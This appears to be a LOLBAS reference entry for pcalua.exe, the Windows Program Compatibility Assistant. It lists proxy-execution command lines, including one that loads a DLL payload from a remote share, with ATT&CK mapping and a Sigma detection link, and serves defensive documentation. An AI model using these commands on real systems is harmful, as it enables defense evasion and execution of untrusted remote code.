

.. /Pcalua.exe

Execute (DLL)

Program Compatibility Assistant

Paths:

C:\Windows\System32\pcalua.exe

Resources:

- <https://twitter.com/KyleHanslovan/status/912659279806640128>

Acknowledgements:

- Kyle Hanslovan ([@kylehanslovan](#))
- Fab ([@0rbz_](#))

Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml

Execute

. Open the target .EXE using the Program Compatibility Assistant.

```
pcalua.exe -a calc.exe
```

Use case: Proxy execution of binary

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1202

. Open the target .DLL file with the Program Compatibilty Assistant.

```
pcalua.exe -a \\server\payload.dll
```

Use case: Proxy execution of remote dll file

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique: T1202

Tags: Execute: DLL

. Open the target .CPL file with the Program Compatibility Assistant.

```
pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
```

Use case: Execution of CPL files
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1202